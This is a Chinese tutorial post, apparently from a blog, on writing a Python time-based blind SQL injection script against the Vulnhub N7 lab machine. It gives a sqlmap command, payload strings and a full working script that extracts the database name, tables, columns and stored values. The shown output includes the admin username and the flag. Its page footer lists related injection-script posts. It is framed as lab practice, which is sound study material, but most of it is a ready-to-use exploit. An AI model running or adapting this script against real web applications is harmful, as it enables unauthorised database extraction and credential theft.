Python实现SQL注入脚本
实验环境
攻击主机IP:172.18.53.145
目标主机IP:172.18.53.11
此处的靶场是Vulnhub中的WEB MACHINE: (N7)
靶场测试
访问靶场的登录页面,使用sqlmap测试该页面是否存在SQL注入
首先,使用Burpsuite在登录时抓包
将这个数据包保存下来
利用sqlmap,指定刚保存的post数据文件进行测试。
-r
指定文件,-p
指定测试参数,先测试下user
参数
sqlmap -r post.txt -p user --dbs
发现存在SQL注册,且读出了四个数据库,接着尝试编写脚本进行注入。
脚本编写
首先通过时间盲注循环判断当前数据库名的长度,将该语句作为payload发送到目标主机
select if(length((select database()))=1,sleep(3),1))
如果目标主机响应的时间超过3秒,那么可以判断该处猜测的值是对的
# 判断长度
for n in range(1,100):
payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data=payload, headers=headers)
if r.elapsed.total_seconds() > 3:
db_name_len = n
break
然后根据数据库名的长度,使用下面的payload循环判断数据库名每一位的值,同样,根据目标主机的响应时间判断
select if(ascii(substr((select database()),0,1))=ascii,sleep(3),1)
判断代码逻辑如下:
# 判断名字
for i in range(1, db_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
db_name.append(c)
if c == ",":
print("")
continue
print(c, end='', flush=True)
最后,最后,用同样的逻辑判断数据表名、数据列名和每一列对应的值。
完整代码如下:
import requests
import string
import sys
# 所有可打印字符
all = string.printable
# 目标主机URL
url = "http://172.18.53.11/enter_network/"
headers = {"Content-Type":"application/x-www-form-urlencoded"}
# 获取数据库名
def extract_db_name():
print("[+] Extracting db name")
db_name = []
# 判断数据库名长度
for n in range(1,100):
payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data=payload, headers=headers)
if r.elapsed.total_seconds() > 3:
db_name_len = n
break
print("[+] the length of db name: " + str(db_name_len))
# 获取数据库名
print("[+] the name of db: ", end='')
for i in range(1, db_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
db_name.append(c)
if c == ",":
print("")
continue
print(c, end='', flush=True)
print("\n")
return db_name
# 获取数据表的内容
def extract_tables(db_name):
db_name = "".join(db_name)
print("[+] Finding number of table in current db")
table_name = []
# 判断当前数据库中存在几张数据表
for n in range(1, 50):
payload = {"user":"\' or (select if((select count(table_name) from information_schema.tables where table_schema=\'" + db_name +"\')=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_num = n
break
print("[+] Finding " + str(table_num) + " tables in current db")
# 判断所有数据表名的长度
print("[+] Finding the name of table in current db: ")
for n in range(1, 100):
payload = {"user":"\' or (select if(length((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1))=" + str(n) + ",sleep(3),1))#", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_name_len = n
break
# 获取当前数据库中所有的数据表
for i in range(1, table_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1),"+ str(i) +",1))="+str(ord(c))+",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_name.append(c)
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("\n")
# 是否继续获取列名
column_name_inject = input("Show the name of column? [y/n]")
if column_name_inject == "y" or column_name_inject == "yes":
pass
else:
sys.exit()
table_name = "".join(table_name)
table_name = table_name.split(",")
# 获取数据表中的具体内容
for table in table_name:
print("[+] Finding the column name of " + table)
columns_name = []
# 判断数据表中所有列名的长度
for n in range(1, 100):
payload = {"user":"\' or (select if(length((select group_concat(column_name) from information_schema.columns where table_name=\'" + table + "\' limit 0,1))= "+ str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
column_name_len = n
break
# 获取数据表的列名
for i in range(1, column_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'"+ table + "\' limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
columns_name.append(c)
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("\n")
# 是否继续获取数据表中每列的值
column_value_inject = input("Show the value of column? [y/n]:")
if column_value_inject == "y" or column_value_inject == "yes":
pass
else:
sys.exit()
columns_name = "".join(columns_name)
columns_name = columns_name.split(",")
# 获取每列的内容
for column in columns_name:
column = "".join(column)
print("[+] Finding the value of " + column)
# 判断数据表所有列内容的长度
for n in range(1, 1000):
payload = {"user":"\' or (select if(length((select group_concat(" + column + ") from " + table + " limit 0,1))= "+ str(n) + ",sleep(3),1)) #","pass":"1","sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
columns_values_len = n
break
# 获取数据表中每列的值
for i in range(1, columns_values_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(" + column + ") from " + table + " limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #","pass":"1","sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("")
try:
db_name = extract_db_name() # 获取当前数据库名
user_input = input("Show the name of table? [y/n]:") # 是否继续获取表名
if user_input == "y" or user_input == "yes":
extract_tables(db_name)
else:
sys.exit()
print("Done!")
except KeyboardInterrupt:
print("")
print("[+] Exiting...")
sys.exit()
代码执行结果:
┌──(kali㉿kali)-[~/tools]
└─$ python sqli.py
[+] Extracting db name...
[+] the length of db name: 7
[+] the name of db: Machine
Show the name of table? [y/n]:y
[+] Finding number of table in current db...
[+] Finding 1 tables in current db...
[+] Finding the name of table in current db:
login
Show the name of column? [y/n]y
[+] Finding the column name of login
username
password
role
Show the value of column? [y/n]y
[+] Finding the value of username
administrator
[+] Finding the value of password
FLAG{N7:KSA_01}
[+] Finding the value of role
admin
Done!
Python实现SQL注入脚本的更多相关文章
- phpcms v9 sql注入脚本
phpcms v9 SQL注入脚本 用法:python phpcms.py http://www.baidu.com import requests,sys,urllib url = sys.argv ...
- python防止sql注入的方法
python防止sql注入的方法: 1. 使用cursor.execute(sql, args)的参数位: sql_str = "select * from py_msgcontrol.py ...
- python 打造一个sql注入脚本 (一)
0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql ...
- Python防止sql注入
看了网上文章,说的都挺好的,给cursor.execute传递格式串和参数,就能防止注入,但是我写了代码,却死活跑不通,怀疑自己用了一个假的python 最后,发现原因可能是不同的数据库,对于字符串的 ...
- 笔记:Python防止SQL注入
非安全的方式,使用动态拼接SQL 输入' or 1 = 1 or '1 sql ="""SELECT * FROM goods WHERE name = '%s';&qu ...
- 常规SQL注入脚本
一:union报错注入 猜字段长度:order by 28 先显示位http://127.0.0.1/sql.php?cmd=-1 UNION SELECT 1,2,3,4,5,6,7,8,9 当前数 ...
- SQL注入脚本(基于时间)
#encoding=utf-8 import httplib import time import string import sys import urllib header = {'Accept' ...
- python 防止sql注入字符串拼接的正确用法
在使用pymysql模块时,在使用字符串拼接的注意事项错误用法1 sql='select * from where id="%d" and name="%s" ...
- 手动方式SQL注入脚本命令之精华版
.判断是否有注入;and = ;and = .初步判断是否是mssql ;and user> .注入参数是字符and [查询条件] and = .搜索时没过滤参数的and [查询条件] and ...
- 禁用substr、substring、mid函数的sql注入脚本
#encodeing=utf-8 import requests import sys reload(sys) sys.setdefaultencoding('utf-8') payloads = l ...
随机推荐
- 【译】介绍 MSTest Runner – CLI、Visual Studio 等
原文 | Amaury Levé, Marco Rossignoli, Jakub Jareš 翻译 | 郑子铭 我们很高兴推出 MSTest runner,这是一个用于 MSTest 测试的新型轻量 ...
- ES6学习 第一章 let 和 const 命令
前言: 最近开始看阮一峰老师的<ECMAScript 6 入门>(以下简称原文)学习ECMAScript 6(下文简称ES6)的知识,整理出一些知识点加上我的理解来做成文章笔记.按照章节为 ...
- NVME(学习笔记一)—概述
NVMe概述 NVMe是一个针对基于PCIe的固态硬盘的高性能的.可扩展的主机控制器接口. NVMe的显著特征是提供多个队列来处理I/O命令.单个NVMe设备支持多达64K个I/O 队列,每个I/O队 ...
- .NET 9 首个预览版发布:瞄准云原生和智能应用开发
前言 前不久.NET团队发布了.NET 9 的首个预览版,并且分享.NET团队对 .NET 9 的初步愿景,该愿景将于今年年底在 .NET Conf 2024 上发布.其中最重要的关注领域是:云原生和 ...
- 从零开始手写 mybatis (三)jdbc pool 从零实现数据库连接池
前景回顾 第一节 从零开始手写 mybatis(一)MVP 版本 中我们实现了一个最基本的可以运行的 mybatis. 第二节 从零开始手写 mybatis(二)mybatis interceptor ...
- 使用RBF神经网络实现函数逼近
python实现的RBF神经网络见:基于tensorflow的RBF神经网络案例 1 一元函数逼近 1.1 待逼近的函数 1.2代码 %%%%%%%%%%一元函数逼近%%%%%%%%%% clear, ...
- col命令
col命令 在很多UNIX说明文件里,都有RLF控制字符,当我们把说明文件的内容输出成纯文本文件时,控制字符会变成乱码,col命令则能有效滤除这些控制字符. 语法 col [options] 参数 - ...
- el-dialog关闭后重置表单和校验提示
问题说明 最近测试反馈操作某新增/修改表单,点击[取消]或[关闭]窗口后再次点击[新增]或[修改]发现校验提示仍然存在! 问题原因 项目采用Vue+ElementUI,修改表单的窗口控件采用el-di ...
- Python之读取Excel
介绍 现在交给你一份2010年美国各州县人口普查表:censuspopdata.xlsx.共72864条记录. 每一行代表一个县某统计区的人口数. 需要你统计出:各县统计区数量和人口数. 表格内容长这 ...
- Vue实现静态列表增删查功能
知识点 1.双向数据绑定 2.自定义指令 3.自定义过滤器 4.v-for循环对象数组 5.ES6操作数组的新方法:forEach some filter findIndex 实现效果 页面源码 &l ...